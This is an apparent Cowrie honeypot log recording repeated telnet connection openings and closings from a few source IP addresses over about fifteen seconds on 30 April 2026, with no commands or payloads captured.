{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":36950,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ca02c0789b6","protocol":"telnet","message":"New connection: 144.79.218.12:36950 (10.17.0.5:23) [session: 5ca02c0789b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:57.670939Z"}
{"eventid":"cowrie.session.closed","duration":31.430567264556885,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:57.972074Z","src_ip":"185.15.23.59","session":"e2cc05768480","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":45884,"dst_ip":"159.203.135.109","dst_port":23,"session":"81ba89647c45","protocol":"telnet","message":"New connection: 185.15.23.59:45884 (159.203.135.109:23) [session: 81ba89647c45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:58.018848Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":36956,"dst_ip":"10.17.0.5","dst_port":23,"session":"71be32844b8d","protocol":"telnet","message":"New connection: 144.79.218.12:36956 (10.17.0.5:23) [session: 71be32844b8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:58.034779Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":48594,"dst_ip":"159.203.135.109","dst_port":23,"session":"539fda57956b","protocol":"telnet","message":"New connection: 185.15.23.59:48594 (159.203.135.109:23) [session: 539fda57956b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:59.170340Z"}
{"eventid":"cowrie.session.closed","duration":31.144821405410767,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:59.293112Z","src_ip":"144.79.218.12","session":"d9ebe6f26fbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":49790,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ce50767ea7f","protocol":"telnet","message":"New connection: 185.15.23.59:49790 (159.203.135.109:23) [session: 9ce50767ea7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:59.693165Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38834,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d517b7a28ca","protocol":"telnet","message":"New connection: 69.6.225.50:38834 (159.203.135.109:23) [session: 2d517b7a28ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:59.866182Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":51506,"dst_ip":"159.203.135.109","dst_port":23,"session":"f950173006cd","protocol":"telnet","message":"New connection: 185.15.23.59:51506 (159.203.135.109:23) [session: f950173006cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:00.555135Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38838,"dst_ip":"159.203.135.109","dst_port":23,"session":"93c9c49f1c44","protocol":"telnet","message":"New connection: 69.6.225.50:38838 (159.203.135.109:23) [session: 93c9c49f1c44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:00.797102Z"}
{"eventid":"cowrie.session.closed","duration":31.303953886032104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:00.837121Z","src_ip":"185.15.23.59","session":"95fcfadf6e30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":52628,"dst_ip":"159.203.135.109","dst_port":23,"session":"488c7e9ffe22","protocol":"telnet","message":"New connection: 185.15.23.59:52628 (159.203.135.109:23) [session: 488c7e9ffe22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:00.874701Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38850,"dst_ip":"159.203.135.109","dst_port":23,"session":"87a086c0ae6c","protocol":"telnet","message":"New connection: 69.6.225.50:38850 (159.203.135.109:23) [session: 87a086c0ae6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:01.490113Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38860,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2f1f8ebd3a2","protocol":"telnet","message":"New connection: 69.6.225.50:38860 (159.203.135.109:23) [session: d2f1f8ebd3a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:01.671788Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38862,"dst_ip":"159.203.135.109","dst_port":23,"session":"5181124f6d50","protocol":"telnet","message":"New connection: 69.6.225.50:38862 (159.203.135.109:23) [session: 5181124f6d50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:01.838748Z"}
{"eventid":"cowrie.session.closed","duration":31.510841846466064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:01.883989Z","src_ip":"69.6.225.50","session":"6a142852a4fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.839913845062256,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:02.102482Z","src_ip":"69.6.225.50","session":"89e6144187f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.736531734466553,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:02.123337Z","src_ip":"69.6.225.50","session":"0b63f055c584","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38864,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a447729ed06","protocol":"telnet","message":"New connection: 69.6.225.50:38864 (159.203.135.109:23) [session: 9a447729ed06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:02.374007Z"}
{"eventid":"cowrie.session.closed","duration":31.30511999130249,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:02.707513Z","src_ip":"185.15.23.59","session":"d5669f458a36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.985881567001343,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:02.717903Z","src_ip":"185.15.23.59","session":"8a8b11247d8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.98923945426941,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:03.020403Z","src_ip":"144.79.218.12","session":"2959eb10ea1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.78346133232117,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:03.135211Z","src_ip":"144.79.218.12","session":"e121d9db1842","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":58114,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef7a80408675","protocol":"telnet","message":"New connection: 144.79.218.12:58114 (10.17.0.5:23) [session: ef7a80408675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:03.329719Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38872,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fcbe2ace416","protocol":"telnet","message":"New connection: 69.6.225.50:38872 (159.203.135.109:23) [session: 0fcbe2ace416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:03.364425Z"}
{"eventid":"cowrie.session.closed","duration":30.573270320892334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:03.393895Z","src_ip":"185.15.23.59","session":"e642637ac1ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":58326,"dst_ip":"159.203.135.109","dst_port":23,"session":"73d00b1ee0a6","protocol":"telnet","message":"New connection: 185.15.23.59:58326 (159.203.135.109:23) [session: 73d00b1ee0a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:03.407469Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":58500,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bb7f7af968b","protocol":"telnet","message":"New connection: 185.15.23.59:58500 (159.203.135.109:23) [session: 3bb7f7af968b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:03.521956Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":59326,"dst_ip":"159.203.135.109","dst_port":23,"session":"24251dfd28db","protocol":"telnet","message":"New connection: 185.15.23.59:59326 (159.203.135.109:23) [session: 24251dfd28db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:03.696586Z"}
{"eventid":"cowrie.session.closed","duration":30.309974431991577,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:04.080013Z","src_ip":"69.6.225.50","session":"78ca5538f79a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":32842,"dst_ip":"159.203.135.109","dst_port":23,"session":"62965e3e684c","protocol":"telnet","message":"New connection: 185.15.23.59:32842 (159.203.135.109:23) [session: 62965e3e684c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:04.408511Z"}
{"eventid":"cowrie.session.closed","duration":30.67733907699585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:05.072207Z","src_ip":"69.6.225.50","session":"4cfc15f3c67a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.060773849487305,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:05.107851Z","src_ip":"69.6.225.50","session":"f632aeecc6de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":35586,"dst_ip":"159.203.135.109","dst_port":23,"session":"371c199b512c","protocol":"telnet","message":"New connection: 185.15.23.59:35586 (159.203.135.109:23) [session: 371c199b512c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:05.208345Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":35710,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb0f84b06024","protocol":"telnet","message":"New connection: 185.15.23.59:35710 (159.203.135.109:23) [session: fb0f84b06024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:05.319615Z"}
{"eventid":"cowrie.session.closed","duration":30.99723219871521,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:05.364898Z","src_ip":"69.6.225.50","session":"c3e505f70f91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73673415184021,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:05.380404Z","src_ip":"185.15.23.59","session":"da132f3a4482","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38884,"dst_ip":"159.203.135.109","dst_port":23,"session":"d08a36c8a391","protocol":"telnet","message":"New connection: 69.6.225.50:38884 (159.203.135.109:23) [session: d08a36c8a391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:05.410958Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":35940,"dst_ip":"159.203.135.109","dst_port":23,"session":"b65d8cc09d49","protocol":"telnet","message":"New connection: 185.15.23.59:35940 (159.203.135.109:23) [session: b65d8cc09d49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:05.523359Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38898,"dst_ip":"159.203.135.109","dst_port":23,"session":"49b5c05ee359","protocol":"telnet","message":"New connection: 69.6.225.50:38898 (159.203.135.109:23) [session: 49b5c05ee359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:05.546659Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38902,"dst_ip":"159.203.135.109","dst_port":23,"session":"6899f38f13ea","protocol":"telnet","message":"New connection: 69.6.225.50:38902 (159.203.135.109:23) [session: 6899f38f13ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:05.656383Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":36772,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0460bf62bb3","protocol":"telnet","message":"New connection: 185.15.23.59:36772 (159.203.135.109:23) [session: c0460bf62bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:05.704351Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38918,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4c8a6f16e8e","protocol":"telnet","message":"New connection: 69.6.225.50:38918 (159.203.135.109:23) [session: d4c8a6f16e8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:06.151433Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":38564,"dst_ip":"159.203.135.109","dst_port":23,"session":"eaaca8e5b418","protocol":"telnet","message":"New connection: 185.15.23.59:38564 (159.203.135.109:23) [session: eaaca8e5b418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:06.415036Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":38776,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c4d97446181","protocol":"telnet","message":"New connection: 185.15.23.59:38776 (159.203.135.109:23) [session: 3c4d97446181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:06.521827Z"}
{"eventid":"cowrie.session.closed","duration":30.255863666534424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:07.061857Z","src_ip":"69.6.225.50","session":"35b5e2ad46f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.714813709259033,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:07.083905Z","src_ip":"185.15.23.59","session":"379e7a23bf6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.731130838394165,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:07.122055Z","src_ip":"69.6.225.50","session":"e6708cf8bb24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.713340997695923,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:07.366803Z","src_ip":"185.15.23.59","session":"137481b9b03b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":58122,"dst_ip":"10.17.0.5","dst_port":23,"session":"af8044843d20","protocol":"telnet","message":"New connection: 144.79.218.12:58122 (10.17.0.5:23) [session: af8044843d20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:07.469385Z"}
{"eventid":"cowrie.session.closed","duration":31.36283040046692,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:07.500909Z","src_ip":"185.15.23.59","session":"053056b90190","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38920,"dst_ip":"159.203.135.109","dst_port":23,"session":"72d97f9c4c9f","protocol":"telnet","message":"New connection: 69.6.225.50:38920 (159.203.135.109:23) [session: 72d97f9c4c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:07.509276Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":41886,"dst_ip":"159.203.135.109","dst_port":23,"session":"fed8186137e0","protocol":"telnet","message":"New connection: 185.15.23.59:41886 (159.203.135.109:23) [session: fed8186137e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:07.568058Z"}
{"eventid":"cowrie.session.closed","duration":31.318188905715942,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:07.637114Z","src_ip":"185.15.23.59","session":"011f948d6fd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38926,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b583e76fa9d","protocol":"telnet","message":"New connection: 69.6.225.50:38926 (159.203.135.109:23) [session: 1b583e76fa9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:07.792850Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":42792,"dst_ip":"159.203.135.109","dst_port":23,"session":"29ef3a3177b8","protocol":"telnet","message":"New connection: 185.15.23.59:42792 (159.203.135.109:23) [session: 29ef3a3177b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:07.856777Z"}
{"eventid":"cowrie.session.closed","duration":30.744232177734375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:08.050391Z","src_ip":"69.6.225.50","session":"93bf2b163178","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":43732,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d00367cecbe","protocol":"telnet","message":"New connection: 185.15.23.59:43732 (159.203.135.109:23) [session: 2d00367cecbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:08.132365Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":58128,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fd2064ca00c","protocol":"telnet","message":"New connection: 144.79.218.12:58128 (10.17.0.5:23) [session: 2fd2064ca00c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:08.165980Z"}
{"eventid":"cowrie.session.closed","duration":30.488282918930054,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:08.373440Z","src_ip":"185.15.23.59","session":"1bfb7c99545a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":44340,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea606e90630a","protocol":"telnet","message":"New connection: 185.15.23.59:44340 (159.203.135.109:23) [session: ea606e90630a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:08.499621Z"}
{"eventid":"cowrie.session.closed","duration":30.775149822235107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:08.558741Z","src_ip":"185.15.23.59","session":"5d38c694806f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.216237783432007,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:08.730210Z","src_ip":"69.6.225.50","session":"13174cede249","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.05559468269348,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:08.870920Z","src_ip":"144.79.218.12","session":"4ae7e392d55b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":46362,"dst_ip":"159.203.135.109","dst_port":23,"session":"175ed96e72f0","protocol":"telnet","message":"New connection: 185.15.23.59:46362 (159.203.135.109:23) [session: 175ed96e72f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:09.075473Z"}
{"eventid":"cowrie.session.closed","duration":30.855945825576782,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:09.245787Z","src_ip":"185.15.23.59","session":"409d74158de8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.850814819335938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:09.366690Z","src_ip":"185.15.23.59","session":"6b6ac1a72ec5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.429044723510742,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:09.450140Z","src_ip":"185.15.23.59","session":"884c9f9f6e57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.762542486190796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:09.516604Z","src_ip":"185.15.23.59","session":"9c7822f3d442","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":59564,"dst_ip":"159.203.135.109","dst_port":23,"session":"199a25aabf60","protocol":"telnet","message":"New connection: 69.6.225.50:59564 (159.203.135.109:23) [session: 199a25aabf60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:09.578363Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":47552,"dst_ip":"159.203.135.109","dst_port":23,"session":"a776e603e4ff","protocol":"telnet","message":"New connection: 185.15.23.59:47552 (159.203.135.109:23) [session: a776e603e4ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:09.586271Z"}
{"eventid":"cowrie.session.closed","duration":30.851362228393555,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:09.615721Z","src_ip":"185.15.23.59","session":"4ad3ae339c1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":59574,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ae0b0348fb6","protocol":"telnet","message":"New connection: 69.6.225.50:59574 (159.203.135.109:23) [session: 8ae0b0348fb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:09.694872Z"}
{"eventid":"cowrie.session.closed","duration":30.928000688552856,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:10.284050Z","src_ip":"185.15.23.59","session":"1007c6035e94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.106452465057373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:10.291691Z","src_ip":"185.15.23.59","session":"fef75c19d91f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":59576,"dst_ip":"159.203.135.109","dst_port":23,"session":"34e1b2c82775","protocol":"telnet","message":"New connection: 69.6.225.50:59576 (159.203.135.109:23) [session: 34e1b2c82775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:10.296458Z"}
{"eventid":"cowrie.session.closed","duration":36.29028558731079,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:10.438448Z","src_ip":"144.79.218.12","session":"2fd9ad750e9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.47876763343811,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:10.659932Z","src_ip":"69.6.225.50","session":"20ce9d1ad811","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":50400,"dst_ip":"159.203.135.109","dst_port":23,"session":"44fcbeb95be8","protocol":"telnet","message":"New connection: 185.15.23.59:50400 (159.203.135.109:23) [session: 44fcbeb95be8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:10.672206Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":50680,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c36a1fe0919","protocol":"telnet","message":"New connection: 185.15.23.59:50680 (159.203.135.109:23) [session: 2c36a1fe0919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:10.779932Z"}
